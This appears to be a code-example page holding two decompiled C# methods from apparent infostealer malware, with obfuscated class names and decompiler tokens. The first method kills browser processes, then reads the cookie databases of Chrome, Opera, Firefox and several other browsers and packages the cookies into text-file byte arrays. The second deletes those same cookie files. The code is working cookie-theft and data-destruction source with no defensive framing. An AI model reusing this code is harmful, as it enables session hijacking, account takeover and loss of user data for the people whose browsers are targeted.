コード例 #1
0
 // Token: 0x060000D6 RID: 214 RVA: 0x00005A9C File Offset: 0x00003C9C
 public static Task <List <BrowserCookie> > cccokies()
 {
     return(Task.Factory.StartNew <List <BrowserCookie> >(delegate
     {
         List <BrowserCookie> result;
         try
         {
             List <bbbrrooowser> list = new List <bbbrrooowser>
             {
                 new bbbrrooowser
                 {
                     BrowserName = "Chrome",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Yandex",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Kometa",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Amigo",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\User\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Torch",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Torch\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Orbitum",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbitum\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Opera",
                     CookiePaths = new List <string>
                     {
                         Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Mozilla",
                     CookiePaths = Dominatroer.CookMoz()
                 }
             };
             List <BrowserCookie> list2 = new List <BrowserCookie>();
             Dominatroer.KillAwerything();
             foreach (bbbrrooowser bbbrrooowser in list)
             {
                 foreach (string text in bbbrrooowser.CookiePaths)
                 {
                     try
                     {
                         bool flag = File.Exists(text);
                         if (flag)
                         {
                             List <string> list3 = new List <string>();
                             bool flag2 = bbbrrooowser.BrowserName != "Mozilla";
                             if (flag2)
                             {
                                 eod91kk eod91kk = new eod91kk(text);
                                 list3 = eod91kk.Cookies().ToList <string>();
                                 bool flag3 = list3.Count != 0;
                                 if (flag3)
                                 {
                                     list2.Add(new BrowserCookie
                                     {
                                         FileName = "Cookie.txt",
                                         FileArray = Encoding.UTF8.GetBytes(string.Join(Environment.NewLine, list3)),
                                         Browser = bbbrrooowser.BrowserName
                                     });
                                 }
                             }
                             else
                             {
                                 fdddddd fdddddd = new fdddddd(text);
                                 list3 = fdddddd.Cookies().ToList <string>();
                                 bool flag4 = list3.Count != 0;
                                 if (flag4)
                                 {
                                     string str = text.Split(new char[]
                                     {
                                         '\\'
                                     })[text.Split(new char[]
                                     {
                                         '\\'
                                     }).Count <string>() - 2];
                                     list2.Add(new BrowserCookie
                                     {
                                         FileName = str + "_Cookie.txt",
                                         FileArray = Encoding.UTF8.GetBytes(string.Join(Environment.NewLine, list3)),
                                         Browser = bbbrrooowser.BrowserName
                                     });
                                 }
                             }
                         }
                     }
                     catch
                     {
                     }
                 }
             }
             result = list2;
         }
         catch
         {
             result = new List <BrowserCookie>();
         }
         return result;
     }));
 }
コード例 #2
0
 // Token: 0x060000AC RID: 172 RVA: 0x000046BC File Offset: 0x000028BC
 public Task <bool> ClearCookie()
 {
     return(Task.Factory.StartNew <bool>(delegate
     {
         bool result;
         try
         {
             List <bbbrrooowser> list = new List <bbbrrooowser>
             {
                 new bbbrrooowser
                 {
                     BrowserName = "Chrome",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Google\\Chrome\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Yandex",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Kometa",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Kometa\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Amigo",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Amigo\\User\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Torch",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Torch\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Orbitum",
                     CookiePaths = new List <string>
                     {
                         Environment.GetEnvironmentVariable("LocalAppData") + "\\Orbitum\\User Data\\Default\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Opera",
                     CookiePaths = new List <string>
                     {
                         Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Opera Software\\Opera Stable\\Cookies"
                     }
                 },
                 new bbbrrooowser
                 {
                     BrowserName = "Mozilla",
                     CookiePaths = Dominatroer.CookMoz()
                 }
             };
             List <BrowserCookie> list2 = new List <BrowserCookie>();
             Dominatroer.KillAwerything();
             foreach (bbbrrooowser bbbrrooowser in list)
             {
                 foreach (string path in bbbrrooowser.CookiePaths)
                 {
                     try
                     {
                         bool flag = File.Exists(path);
                         if (flag)
                         {
                             File.Delete(path);
                         }
                     }
                     catch
                     {
                     }
                 }
             }
             result = true;
         }
         catch
         {
             result = false;
         }
         return result;
     }));
 }